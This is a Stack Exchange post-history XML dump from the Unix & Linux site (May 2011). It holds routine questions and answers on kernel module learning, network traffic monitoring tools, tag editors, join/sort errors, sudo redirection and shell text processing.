  <row Id="31842" PostHistoryTypeId="24" PostId="12930" RevisionGUID="9349c00a-68dd-430f-aa79-e4503d0ffe79" CreationDate="2011-05-10T13:19:54.037" Comment="Proposed by 7360 approved by -1 edit id of 362" />
  <row Id="31843" PostHistoryTypeId="5" PostId="12930" RevisionGUID="3e5234f0-8212-4abd-81e3-bbc65d0fb718" CreationDate="2011-05-10T13:19:54.443" UserId="1925" Comment="added 117 characters in body" Text="Not so much asking what books (although if you know of any guides/tutorials that'd be helpful) but what is the best way to start doing kernel programming and is there a particular distro that would be best to learn on?&#xD;&#xA;&#xD;&#xA;Im mostly interested in the Device Drivers portion, but I wanna learn how the Kernel is set up as well (Modules and such) I have around 4-5 years Experience with C/C++ but it's mostly knowledge from College (so it's not like 4-5 years work experience lol if you know what I mean)" />
  <row Id="31844" PostHistoryTypeId="2" PostId="12933" RevisionGUID="2754ef32-bc51-47c7-aa97-e44fc1ea1198" CreationDate="2011-05-10T13:22:56.717" UserId="1925" Text="Find a module or driver you want to modify or start with a null / hello world type of module and build from there. Specifically work with a module because it will allow you to load, unload, recompile and reload the code into a running kernel. Later you can get into the core bits, but basically modules have all kinds of and you can do pretty much whatever you like.&#xD;&#xA;&#xD;&#xA;Second, use a VM. Setup a guest machine under VirtualBox or some over VM and do your kernel testing in there for a while. That way you won't kill your main system when you break something, and restarting, backtracking to a working snapshot, etc is really easy.&#xD;&#xA;&#xD;&#xA;Third, learn `git`." />
  <row Id="31845" PostHistoryTypeId="5" PostId="12932" RevisionGUID="081a88df-9697-4f0b-b1b0-611307025eed" CreationDate="2011-05-10T13:23:53.080" UserId="1925" Comment="added 13 characters in body" Text="I am using a Ubuntu machine as a NAT router. How can I find out the following:&#xD;&#xA;&#xD;&#xA; - the ports on which the LAN machines are listening or communicating (both tcp and udp);&#xD;&#xA; - which local machines have established connections with which WAN ip's on those ports;&#xD;&#xA; - and the size of data that has been transfered on those ports." />
  <row Id="31846" PostHistoryTypeId="2" PostId="12934" RevisionGUID="99619922-3eaa-405a-8d62-c5ee6532f890" CreationDate="2011-05-10T13:32:06.720" UserId="7360" Text="There are many kernels in existence.&#xD;&#xA;&#xD;&#xA;`Linux` is not the only game out there, but it's the most widely used.  Some people recommend the `minix` kernel to understand operating system concepts.&#xD;&#xA;&#xD;&#xA;I would go with Linux 2.6.x series as it's the most common and it won't be wasted on something (almost) nobody uses.&#xD;&#xA;&#xD;&#xA;Find something super simple (serial port, usb, etc.) and make it do something else.  For an extra challenge, try writing a kernel module for something that doesn't yet have one.  (Be sure to google the suspect by pci `sudo lspci -nn` and/or usb id `sudo lsusb` first.)&#xD;&#xA;&#xD;&#xA;" />
  <row Id="31847" PostHistoryTypeId="5" PostId="12934" RevisionGUID="f1aceb0e-e278-46f6-8c90-b49dcf3d503f" CreationDate="2011-05-10T13:39:05.060" UserId="7360" Comment="added 129 characters in body; added 261 characters in body" Text="There are many kernels in existence.&#xD;&#xA;&#xD;&#xA;`Linux` is not the only game out there, but it's the most widely used.  Some people recommend the `minix` kernel to understand operating system concepts.  I would go with Linux 2.6.x series as it's the most common and it won't be wasted on something (almost) nobody uses.  Solaris, XNU (Mac), FreeBSD and Dragonfly are notable.[1]&#xD;&#xA;&#xD;&#xA;Find something super simple (serial port, usb, etc.) and make it do something else.  For an extra challenge, try writing a kernel module for something that doesn't yet have one.  (Be sure to google the suspect by pci `sudo lspci -nn` and/or usb id `sudo lsusb` first.)&#xD;&#xA;&#xD;&#xA;Update: Don't do this directly on your primary system.  Use virtual machines (VM) (computer in computer) as mentioned.  [VirtualBox][2] is free.  Also, try snapshots so you can go back in case something breaks the VM itself.&#xD;&#xA;&#xD;&#xA;[1]: http://en.wikipedia.org/wiki/Comparison_of_operating_system_kernels&#xD;&#xA;[2]: http://www.virtualbox.org/" />
  <row Id="31848" PostHistoryTypeId="2" PostId="12935" RevisionGUID="392a28da-b3b9-4101-a89f-3924c2e3dc1c" CreationDate="2011-05-10T13:47:12.397" UserId="7360" Text="Are there any Haskell packages that operate in the same space as cfengine2/3, Puppet, Chef?&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="31849" PostHistoryTypeId="1" PostId="12935" RevisionGUID="392a28da-b3b9-4101-a89f-3924c2e3dc1c" CreationDate="2011-05-10T13:47:12.397" UserId="7360" Text="Are there any configuration management frameworks written in Haskell?" />
  <row Id="31850" PostHistoryTypeId="3" PostId="12935" RevisionGUID="392a28da-b3b9-4101-a89f-3924c2e3dc1c" CreationDate="2011-05-10T13:47:12.397" UserId="7360" Text="épackageömanagementàéconfigurationàéfileömanagementà" />
  <row Id="31851" PostHistoryTypeId="5" PostId="12934" RevisionGUID="71a1d2d3-af10-448d-80c8-67274ec7837b" CreationDate="2011-05-10T13:49:37.993" UserId="7360" Comment="added 28 characters in body" Text="There are many kernels in existence.&#xD;&#xA;&#xD;&#xA;`Linux` is not the only game out there, but it's the most widely used.  Some people recommend the `minix` kernel to understand operating system concepts.  I would go with Linux 2.6.x series as it's the most common and it won't be wasted on something (almost) nobody uses.  Solaris, XNU (Mac), FreeBSD and Dragonfly are notable.[1]&#xD;&#xA;&#xD;&#xA;Find something super simple (serial port, usb, etc.) and make it do something else.  For an extra challenge, try writing a kernel module for something that doesn't yet have one.  (Be sure to google the suspect by pci `sudo lspci -nn` and/or usb id `sudo lsusb` first.)&#xD;&#xA;&#xD;&#xA;*Update:* Don't do this directly on your primary system, use virtual machines (VM) (computer in a computer) as mentioned.  [VirtualBox][2] can provide this and it's free.  Also, try VM snapshot so you can go back in case something breaks the VM itself.&#xD;&#xA;&#xD;&#xA;[1]: http://en.wikipedia.org/wiki/Comparison_of_operating_system_kernels&#xD;&#xA;[2]: http://www.virtualbox.org/" />
  <row Id="31852" PostHistoryTypeId="2" PostId="12936" RevisionGUID="acf5ec92-baf8-4855-923d-74d4192bb498" CreationDate="2011-05-10T13:51:23.047" UserId="7360" Text="`sudo iftop`&#xD;&#xA;&#xD;&#xA;`sudo netstat -ntlp`&#xD;&#xA;&#xD;&#xA;`sudo tcpdump -i /dev/ethX`" />
  <row Id="31853" PostHistoryTypeId="10" PostId="12935" RevisionGUID="a412e8ad-3a2d-43d8-a615-8a5b6874b56c" CreationDate="2011-05-10T13:57:01.760" UserId="73" CloseReasonId="2" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="31854" PostHistoryTypeId="2" PostId="12937" RevisionGUID="3b42481b-78f4-423c-918f-49eab0f72a75" CreationDate="2011-05-10T14:12:39.387" UserId="6960" Text="Ubuntu/Fedora - are there any good tag editors (batch?)? Which one is the best?&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;Thanks for any help, tips" />
  <row Id="31855" PostHistoryTypeId="1" PostId="12937" RevisionGUID="3b42481b-78f4-423c-918f-49eab0f72a75" CreationDate="2011-05-10T14:12:39.387" UserId="6960" Text="MP3+FLAC tag editor for Linux" />
  <row Id="31856" PostHistoryTypeId="3" PostId="12937" RevisionGUID="3b42481b-78f4-423c-918f-49eab0f72a75" CreationDate="2011-05-10T14:12:39.387" UserId="6960" Text="éubuntuàéfedoraàémp3àéflacà" />
  <row Id="31857" PostHistoryTypeId="2" PostId="12938" RevisionGUID="1bb5528e-09c8-440f-a9b7-06e9e27ca193" CreationDate="2011-05-10T14:14:50.973" UserId="1925" Text="For GUI, I suggest [easytag][1], and you can lookup more [alternatives here][2]. For the command line check out `id3v2`, but the alternatives are endless.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://easytag.sourceforge.net/&#xD;&#xA;  [2]: http://alternativeto.net/software/easytag/?platform=linux" />
  <row Id="31858" PostHistoryTypeId="5" PostId="12937" RevisionGUID="925c70e3-dc7c-4604-989d-9a49429f07d4" CreationDate="2011-05-10T14:17:09.957" UserId="1925" Comment="deleted 38 characters in body; edited tags" Text="Are there any good batch tag editors for Ubuntu/Fedora? Which one is the best?" />
  <row Id="31859" PostHistoryTypeId="6" PostId="12937" RevisionGUID="925c70e3-dc7c-4604-989d-9a49429f07d4" CreationDate="2011-05-10T14:17:09.957" UserId="1925" Comment="deleted 38 characters in body; edited tags" Text="éubuntuàéfedoraàésoftwareörecàémp3àéflacà" />
  <row Id="31860" PostHistoryTypeId="2" PostId="12939" RevisionGUID="b6cdb8fb-72ba-40e0-a1d6-a899acae6121" CreationDate="2011-05-10T14:27:14.207" UserId="7030" Text="I do this:&#xD;&#xA;&#xD;&#xA;1. &lt;kbd&gt;C-x&lt;/kbd&gt; &lt;kbd&gt;C-v&lt;/kbd&gt; (find-alternate-file)&#xD;&#xA;2. &lt;kbd&gt;C-a&lt;/kbd&gt; (move-beginning-of-line)&#xD;&#xA;3. &lt;kbd&gt;C-k&lt;/kbd&gt; (kill-line)&#xD;&#xA;4. &lt;kbd&gt;C-g&lt;/kbd&gt; (keyboard-quit)&#xD;&#xA;&#xD;&#xA;It's quicker than using the minibuffer history.  If all you want is the base name, it's even faster - just skip the &lt;kbd&gt;C-a&lt;/kbd&gt; in the second step." />
  <row Id="31861" PostHistoryTypeId="2" PostId="12940" RevisionGUID="311c4c72-bcc0-4f57-b79e-7c4b0148b659" CreationDate="2011-05-10T14:31:40.983" UserId="1835" Text="Firstly:&#xD;&#xA;&#xD;&#xA;For the baby stages, writing various variations on &quot;hello world&quot; modules, and virtual hardware drivers, are the best way to start (real hardware introduces real world problems best faced when you have more of an idea what you are doing).&#xD;&#xA;&#xD;&#xA;&quot;Linux Device Drivers&quot; is an excellent book and well worth starting with: http://lwn.net/Kernel/LDD3/&#xD;&#xA;&#xD;&#xA;LDD (used to, at least) have exercises where you wrote virtual drivers, e.g. RAM disks, and virtual network devices.&#xD;&#xA;&#xD;&#xA;Secondly:&#xD;&#xA;&#xD;&#xA;subscribe to https://lkml.org/ or to the mailing list of a sub-system you will be hacking in. Lurk for a bit, scanning over threads, reading code review (replies to patches) to see what kind of things people stumble on or pick up on.&#xD;&#xA;&#xD;&#xA;See if you can obtain (cheap) hardware for a device that is not yet supported, or not yet supported well.  Good candidates are cheap-ish USB NICs or similar, low-cost USB peripherals.   Something with an out-of-date, or out-of-tree driver, perhaps vendor written, perhaps for 2.4.x, is ideal, since you can start with something that works (sort-of), and gradually adapt it/rewrite it, testing as you go.  My first driver attempt was for a Davicom DM9601 USB NIC.   There was a 2.4-series vendor-written kernel driver that I slowly adapted to 2.6. (Note: the driver in mainline is *not* my driver, in the end someone else wrote one from scratch).&#xD;&#xA;&#xD;&#xA;Another good way in is to look at the Kernel Newbies site, specifically the &quot;kernel janitors&quot; todo: http://kernelnewbies.org/KernelJanitors/Todo  This is a list of tasks that a beginner should be able to tackle." />
  <row Id="31862" PostHistoryTypeId="6" PostId="12932" RevisionGUID="3b700312-b680-4f8e-80eb-050a30475c84" CreationDate="2011-05-10T15:05:41.597" UserId="885" Comment="edited tags" Text="élinuxàémonitoringàéfirewallàéipàétcpà" />
  <row Id="31863" PostHistoryTypeId="25" PostId="12930" RevisionGUID="9da24f6d-e6a2-48f6-9534-2d0ea0891ffe" CreationDate="2011-05-10T15:11:40.567" Comment="http://twitter.com/#!/StackUnix/status/67970061859696640" />
  <row Id="31864" PostHistoryTypeId="5" PostId="12937" RevisionGUID="25caa2ae-ae63-4cc5-8906-d89b825f44c9" CreationDate="2011-05-10T15:24:20.987" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Which mp3 tagging tool for Linux?](http://unix.stackexchange.com/questions/4961/which-mp3-tagging-tool-for-linux)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;Are there any good batch tag editors for Ubuntu/Fedora? Which one is the best?" />
  <row Id="31865" PostHistoryTypeId="10" PostId="12937" RevisionGUID="8858a08e-e0ba-4d11-9546-ade4747e0349" CreationDate="2011-05-10T15:24:20.393" UserId="73" CloseReasonId="1" Text="[{&quot;Id&quot;:885,&quot;DisplayName&quot;:&quot;Gilles&quot;},{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="31866" PostHistoryTypeId="18" PostId="12937" RevisionGUID="eb7345fa-3904-4f19-9cf7-39d4d4f9b709" CreationDate="2011-05-10T15:24:41.207" UserId="73" Comment="to http://unix.stackexchange.com/questions/4961/which-mp3-tagging-tool-for-linux" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="31867" PostHistoryTypeId="18" PostId="12938" RevisionGUID="eb7345fa-3904-4f19-9cf7-39d4d4f9b709" CreationDate="2011-05-10T15:24:41.207" UserId="73" Comment="from http://unix.stackexchange.com/questions/12937/mp3flac-tag-editor-for-linux" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="31868" PostHistoryTypeId="18" PostId="4961" RevisionGUID="eb7345fa-3904-4f19-9cf7-39d4d4f9b709" CreationDate="2011-05-10T15:24:41.207" UserId="73" Comment="from http://unix.stackexchange.com/questions/12937/mp3flac-tag-editor-for-linux" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="31869" PostHistoryTypeId="14" PostId="12937" RevisionGUID="7732e1dd-b7db-4d94-8fd9-d217bc3b7866" CreationDate="2011-05-10T15:24:41.830" UserId="73" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="31870" PostHistoryTypeId="2" PostId="12941" RevisionGUID="ba44cb65-fefe-4362-9f6d-ea921a3f845d" CreationDate="2011-05-10T16:00:23.497" UserId="950" Text="Network Manager may ignore interfaces configured in /etc/network/interfaces, so check that your interface isn't already in there. If it is, remove it and reboot.&#xD;&#xA;&#xD;&#xA;Network Manager has a config file for which interfaces to manage at /etc/NetworkManager/nm-system-settings.conf  It may have `managed=false` which you could need to change to true.&#xD;&#xA;&#xD;&#xA;The network manager service may not be running. `ps -ef | grep NetworkManager`  If it's not running `sudo service network-manager start`" />
  <row Id="31871" PostHistoryTypeId="2" PostId="12942" RevisionGUID="a48ec41a-8f64-4db9-b444-e4e788de65fc" CreationDate="2011-05-10T16:07:45.597" UserId="5921" Text="I've got two files _jeter3.txt and _jeter1.txt&#xD;&#xA;&#xD;&#xA;I've checked they are both sorted on the 20th column using `sort -c`&#xD;&#xA;&#xD;&#xA;    sort -t '     ' -c -k20,20 _jeter3.txt&#xD;&#xA;    sort -t '     ' -c -k20,20 _jeter1.txt&#xD;&#xA;    #no errors&#xD;&#xA;&#xD;&#xA;but there is an error when I want to `join` both files it says that the second file is not sorted:&#xD;&#xA;&#xD;&#xA;    join -t '	' -1 20 -2 20 _jeter1.txt _jeter3.txt &gt; /dev/null&#xD;&#xA;    join: File 2 is not in sorted order&#xD;&#xA;&#xD;&#xA;I don't understand why.&#xD;&#xA;&#xD;&#xA;    cat /etc/*-release #FYI&#xD;&#xA;    openSUSE 11.0 (i586)&#xD;&#xA;    VERSION = 11.0&#xD;&#xA;&#xD;&#xA;" />
  <row Id="31872" PostHistoryTypeId="1" PostId="12942" RevisionGUID="a48ec41a-8f64-4db9-b444-e4e788de65fc" CreationDate="2011-05-10T16:07:45.597" UserId="5921" Text="join : &quot;File 2 not in sorted order&quot;" />
  <row Id="31873" PostHistoryTypeId="3" PostId="12942" RevisionGUID="a48ec41a-8f64-4db9-b444-e4e788de65fc" CreationDate="2011-05-10T16:07:45.597" UserId="5921" Text="ésortà" />
  <row Id="31874" PostHistoryTypeId="2" PostId="12943" RevisionGUID="b6fb5709-693d-4166-9543-e35a02e0529d" CreationDate="2011-05-10T16:07:58.643" UserId="6154" Text="If I ssh into my server and do 'shutdown -r now', the shutdown hangs on the message 'Sending processes the KILL signal', and I have to walk into the lab and use the power button to force a shutdown.&#xD;&#xA;&#xD;&#xA;When I do the same thing on a session with a locally attached keyboard/monitor, the shutdown works fine.&#xD;&#xA;&#xD;&#xA;How do I at least confirm what process is hanging?" />
  <row Id="31875" PostHistoryTypeId="1" PostId="12943" RevisionGUID="b6fb5709-693d-4166-9543-e35a02e0529d" CreationDate="2011-05-10T16:07:58.643" UserId="6154" Text="System hangs on shutdown - is ssh involved?" />
  <row Id="31876" PostHistoryTypeId="3" PostId="12943" RevisionGUID="b6fb5709-693d-4166-9543-e35a02e0529d" CreationDate="2011-05-10T16:07:58.643" UserId="6154" Text="ésshàérhelà" />
  <row Id="31877" PostHistoryTypeId="2" PostId="12944" RevisionGUID="826ca95f-096b-48b1-9a00-287cccd836cc" CreationDate="2011-05-10T16:17:55.330" UserId="7077" Text="You could also try &quot;lsof &quot; with a combination of different flags one in particular &quot;-i&quot; , if you don't have the package , see that you install it, the data displayed is easily read and can give you a good insight about whats happening on your network." />
  <row Id="31878" PostHistoryTypeId="2" PostId="12945" RevisionGUID="18a30422-16e1-4258-958a-9b0ae22a3a90" CreationDate="2011-05-10T16:25:33.930" UserId="7077" Text="I believe you are thinking about this the wrong way, a remote SSH shutdown will also kill your network connection, hence the reason why you see limited information on your terminal. Being physically at the server obviously would have you see the whole process because you are physically attached to the terminal.&#xD;&#xA;&#xD;&#xA;I hope this makes some sense to you .&#xD;&#xA;&#xD;&#xA;" />
  <row Id="31879" PostHistoryTypeId="6" PostId="8039" RevisionGUID="fe880b63-df23-4ef6-a808-ee6ae9097884" CreationDate="2011-05-10T16:28:59.230" UserId="885" Comment="edited tags" Text="éubuntuàénetworkingàénetworkmanagerà" />
  <row Id="31880" PostHistoryTypeId="2" PostId="12946" RevisionGUID="0d5cd19f-81ca-48da-9331-25d87654b506" CreationDate="2011-05-10T16:42:18.313" UserId="6771" Text="I have created a process and it is running in the background as a daemon it.Now I want that only root should be able to view the output of that process.My process is something like &quot;top&quot; which accumulate data from the system   and show system statistics when asked for and I want is that system statistics should be shown only to the root.&#xD;&#xA;&#xD;&#xA;Thanks in advance." />
  <row Id="31881" PostHistoryTypeId="1" PostId="12946" RevisionGUID="0d5cd19f-81ca-48da-9331-25d87654b506" CreationDate="2011-05-10T16:42:18.313" UserId="6771" Text="process that only root can run" />
  <row Id="31882" PostHistoryTypeId="3" PostId="12946" RevisionGUID="0d5cd19f-81ca-48da-9331-25d87654b506" CreationDate="2011-05-10T16:42:18.313" UserId="6771" Text="élinuxà" />
  <row Id="31883" PostHistoryTypeId="2" PostId="12947" RevisionGUID="989e7a83-7dff-4bef-a066-420e97df2b69" CreationDate="2011-05-10T16:44:56.217" UserId="6960" Text="https://secure.wikimedia.org/wikipedia/en/wiki/IBM_AIX_SMIT&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;I'm searching for a &quot;demo&quot; site for learning smitty (get the used commands by F6!)&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;Are there any? Like there are router demo sites: &lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;http://support.dlink.com/emulators/di604_reve/h_wizard.html&lt;br&gt;&#xD;&#xA;http://www.informatione.gmxhome.de/DDWRT/Standard/V23final/&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;Because &lt;a href=&quot;http://unix.stackexchange.com/questions/10932/qemu-aix-6-1-what-am-i-missing&quot;&gt;AIX can't run in a VM&lt;/a&gt; :(" />
  <row Id="31884" PostHistoryTypeId="1" PostId="12947" RevisionGUID="989e7a83-7dff-4bef-a066-420e97df2b69" CreationDate="2011-05-10T16:44:56.217" UserId="6960" Text="smitty like demo sites?" />
  <row Id="31885" PostHistoryTypeId="3" PostId="12947" RevisionGUID="989e7a83-7dff-4bef-a066-420e97df2b69" CreationDate="2011-05-10T16:44:56.217" UserId="6960" Text="éaixà" />
  <row Id="31886" PostHistoryTypeId="2" PostId="12948" RevisionGUID="c3531d59-03ff-4c9d-b948-e8639d690bbe" CreationDate="2011-05-10T16:47:32.203" UserId="6151" Text="My problem is that I've been a heavy user of GMail's pop3-import feature and used it to pull mail from other GMail Accounts. Back then I did, however, only import new mail, not all the mail previously stored on the server. Now that I've started to use mutt as my mail client of choice I've decided to import all my former mail accounts and thus archive all my old mail locally.&#xD;&#xA;&#xD;&#xA;My initial hope was that I could easily weed out the duplicate mails by using a tool like fdupes, but what I did not anticipate was that the Mail-Header is altered slightly by GMail when it it retrieves a mail via Pop3 as it can be seen here:&#xD;&#xA;&#xD;&#xA;    @@ -1,7 +1,16 @@&#xD;&#xA;     Return-Path: &lt;xxxx@googlemail.com&gt;&#xD;&#xA;     Delivered-To: unknown&#xD;&#xA;     Received: from pop.gmail.com (74.125.43.109:995) by localhost with POP3-SSL;&#xD;&#xA;    -  10 May 2011 13:35:06 -0000&#xD;&#xA;    +  10 May 2011 14:29:41 -0000&#xD;&#xA;    +Delivered-To: yyyy@gmail.com&#xD;&#xA;    +Received: by 10.204.52.199 with SMTP id j7cs172325bkg;&#xD;&#xA;    +        Sun, 2 May 2010 15:33:19 -0700 (PDT)&#xD;&#xA;    +Received: by 10.204.136.15 with SMTP id p15mr6011875bkt.172.1272839446530;&#xD;&#xA;    +        Sun, 02 May 2010 15:30:46 -0700 (PDT)&#xD;&#xA;    +Received-SPF: softfail (google.com: best guess record for domain of transitioning xxxx@googlemail.com does not designate 84.167.28.93 as permitted sender) client-ip=84.167.28.93;&#xD;&#xA;    +Received: by 10.188.26.17 with POP3 id 17mf826641bwz.107;&#xD;&#xA;    +        Sun, 02 May 2010 15:30:46 -0700 (PDT)&#xD;&#xA;    +X-Gmail-Fetch-Info: xxxx@gmail.com 1 smtp.gmail.com 995 xxxx&#xD;&#xA;     Received: from aequitas ( [84.167.28.93])&#xD;&#xA;             by mx.google.com with ESMTPS id e20sm18902485fga.1.2008.01.04.07.58.46&#xD;&#xA;             (version=TLSv1/SSLv3 cipher=RC4-MD5);&#xD;&#xA;&#xD;&#xA;The original looked like this: http://pastebin.com/U6YzNySP&#xD;&#xA;Is there an easy way to get rid of those &quot;duplicate files&quot; in an easy way?" />
  <row Id="31887" PostHistoryTypeId="1" PostId="12948" RevisionGUID="c3531d59-03ff-4c9d-b948-e8639d690bbe" CreationDate="2011-05-10T16:47:32.203" UserId="6151" Text="Find 'duplicate' mails in maildir when header differs slightly" />
  <row Id="31888" PostHistoryTypeId="3" PostId="12948" RevisionGUID="c3531d59-03ff-4c9d-b948-e8639d690bbe" CreationDate="2011-05-10T16:47:32.203" UserId="6151" Text="émailà" />
  <row Id="31889" PostHistoryTypeId="5" PostId="12942" RevisionGUID="4c2def52-e0e2-4b8e-b75f-558d51c53b81" CreationDate="2011-05-10T16:56:34.790" UserId="5921" Comment="added 131 characters in body" Text="I've got two files _jeter3.txt and _jeter1.txt&#xD;&#xA;&#xD;&#xA;I've checked they are both sorted on the 20th column using `sort -c`&#xD;&#xA;&#xD;&#xA;    sort -t '     ' -c -k20,20 _jeter3.txt&#xD;&#xA;    sort -t '     ' -c -k20,20 _jeter1.txt&#xD;&#xA;    #no errors&#xD;&#xA;&#xD;&#xA;but there is an error when I want to `join` both files it says that the second file is not sorted:&#xD;&#xA;&#xD;&#xA;    join -t '	' -1 20 -2 20 _jeter1.txt _jeter3.txt &gt; /dev/null&#xD;&#xA;    join: File 2 is not in sorted order&#xD;&#xA;&#xD;&#xA;I don't understand why.&#xD;&#xA;&#xD;&#xA;    cat /etc/*-release #FYI&#xD;&#xA;    openSUSE 11.0 (i586)&#xD;&#xA;    VERSION = 11.0&#xD;&#xA;&#xD;&#xA;**EDIT**: when I add&#xD;&#xA;&#xD;&#xA;    awk -F '	' '{$20=toupper($20); print;}' &#xD;&#xA;&#xD;&#xA;before sorting the two files, there is no more error.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="31890" PostHistoryTypeId="5" PostId="12942" RevisionGUID="2de47813-ef1a-4f07-a59b-1426ed114ce9" CreationDate="2011-05-10T17:01:46.050" UserId="5921" Comment="deleted 131 characters in body" Text="I've got two files _jeter3.txt and _jeter1.txt&#xD;&#xA;&#xD;&#xA;I've checked they are both sorted on the 20th column using `sort -c`&#xD;&#xA;&#xD;&#xA;    sort -t '     ' -c -k20,20 _jeter3.txt&#xD;&#xA;    sort -t '     ' -c -k20,20 _jeter1.txt&#xD;&#xA;    #no errors&#xD;&#xA;&#xD;&#xA;but there is an error when I want to `join` both files it says that the second file is not sorted:&#xD;&#xA;&#xD;&#xA;    join -t '	' -1 20 -2 20 _jeter1.txt _jeter3.txt &gt; /dev/null&#xD;&#xA;    join: File 2 is not in sorted order&#xD;&#xA;&#xD;&#xA;I don't understand why.&#xD;&#xA;&#xD;&#xA;    cat /etc/*-release #FYI&#xD;&#xA;    openSUSE 11.0 (i586)&#xD;&#xA;    VERSION = 11.0&#xD;&#xA;&#xD;&#xA;" />
  <row Id="31891" PostHistoryTypeId="4" PostId="12943" RevisionGUID="609124ea-1cb9-4244-9664-6a2b1b079663" CreationDate="2011-05-10T17:11:50.123" UserId="6154" Comment="edited title" Text="System hangs on shutdown/restart - is ssh involved?" />
  <row Id="31892" PostHistoryTypeId="5" PostId="12942" RevisionGUID="eb03c98d-12dc-4e61-95b4-33adfc13df9e" CreationDate="2011-05-10T17:13:33.683" UserId="5921" Comment="added 131 characters in body" Text="I've got two files _jeter3.txt and _jeter1.txt&#xD;&#xA;&#xD;&#xA;I've checked they are both sorted on the 20th column using `sort -c`&#xD;&#xA;&#xD;&#xA;    sort -t '     ' -c -k20,20 _jeter3.txt&#xD;&#xA;    sort -t '     ' -c -k20,20 _jeter1.txt&#xD;&#xA;    #no errors&#xD;&#xA;&#xD;&#xA;but there is an error when I want to `join` both files it says that the second file is not sorted:&#xD;&#xA;&#xD;&#xA;    join -t '	' -1 20 -2 20 _jeter1.txt _jeter3.txt &gt; /dev/null&#xD;&#xA;    join: File 2 is not in sorted order&#xD;&#xA;&#xD;&#xA;I don't understand why.&#xD;&#xA;&#xD;&#xA;    cat /etc/*-release #FYI&#xD;&#xA;    openSUSE 11.0 (i586)&#xD;&#xA;    VERSION = 11.0&#xD;&#xA;&#xD;&#xA;**UPDATE**:  using '`sort -f`'  and `join -i` (both case insensitive) fixes the problem. But it doesn't explain my initial problem." />
  <row Id="31893" PostHistoryTypeId="2" PostId="12949" RevisionGUID="cbf60a05-efb5-404a-ad51-47fc0c9e8001" CreationDate="2011-05-10T17:21:07.390" UserId="6771" Text="I am trying to echo a new value into a file using following command  &#xD;&#xA;&#xD;&#xA;      sudo echo 4096 &gt; /proc/sys/fs/file-max&#xD;&#xA;&#xD;&#xA;The error coming is permission denied.But when I do the same thing as a root user I am successful.Can I know the reason why it happens or we can say that sudo doesnt pass through the &quot;&gt;&quot; operator" />
  <row Id="31894" PostHistoryTypeId="1" PostId="12949" RevisionGUID="cbf60a05-efb5-404a-ad51-47fc0c9e8001" CreationDate="2011-05-10T17:21:07.390" UserId="6771" Text="sudo nt passing after redirection operator" />
  <row Id="31895" PostHistoryTypeId="3" PostId="12949" RevisionGUID="cbf60a05-efb5-404a-ad51-47fc0c9e8001" CreationDate="2011-05-10T17:21:07.390" UserId="6771" Text="éshellàéscriptingà" />
  <row Id="31896" PostHistoryTypeId="2" PostId="12950" RevisionGUID="14030940-10c4-4903-bc13-29c19dcc5397" CreationDate="2011-05-10T17:26:16.613" UserId="7366" Text="I'm trying to wrap my head how shells move the screen cursor around (Moving around input the arrow keys and such).&#xD;&#xA;&#xD;&#xA;I've been doing a lot of testing, and I haven't found any system call that allows for movement of the screen cursor in a terminal. Is this done using specific terminal extensions? If so, is there any documentation as to how this is achieved for, say, xterm?&#xD;&#xA;&#xD;&#xA;This has been driving me crazy, any light you can shed on this is appreciated." />
  <row Id="31897" PostHistoryTypeId="1" PostId="12950" RevisionGUID="14030940-10c4-4903-bc13-29c19dcc5397" CreationDate="2011-05-10T17:26:16.613" UserId="7366" Text="Cursor movement in terminals" />
  <row Id="31898" PostHistoryTypeId="3" PostId="12950" RevisionGUID="14030940-10c4-4903-bc13-29c19dcc5397" CreationDate="2011-05-10T17:26:16.613" UserId="7366" Text="éterminalàésystemöprogrammingà" />
  <row Id="31899" PostHistoryTypeId="17" PostId="12952" RevisionGUID="f97269c9-1892-4a54-a71b-8521dee292b9" CreationDate="2011-05-10T17:37:50.237" UserId="-1" Comment="from http://stackoverflow.com/questions/5953796/how-to-append-end-of-every-line-with-the-line-itself/5953837#5953837" Text="" />
  <row Id="31900" PostHistoryTypeId="17" PostId="12953" RevisionGUID="41c21882-0d61-48ca-a8d4-d7edda26a5ff" CreationDate="2011-05-10T17:37:50.237" UserId="-1" Comment="from http://stackoverflow.com/questions/5953796/how-to-append-end-of-every-line-with-the-line-itself/5953858#5953858" Text="" />
  <row Id="31901" PostHistoryTypeId="2" PostId="12952" RevisionGUID="f6fab480-f115-4001-9d2f-eaa90406e779" CreationDate="2011-05-10T17:17:10.527" UserDisplayName="unapersson" Text="Try:&#xD;&#xA;&#xD;&#xA;    sed 's/\(.*\)/\1 \1/' data.txt" />
  <row Id="31902" PostHistoryTypeId="2" PostId="12953" RevisionGUID="f053c669-b4b1-4ba0-b061-d12b93b54e0d" CreationDate="2011-05-10T17:19:26.850" UserDisplayName="Aater Suleman" Text="I would do it in perl but since you put awk, I will give you awk code&#xD;&#xA;&#xD;&#xA;    awk '{print $0,$0;}' file.txt&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Edit: remove my useless cat " />
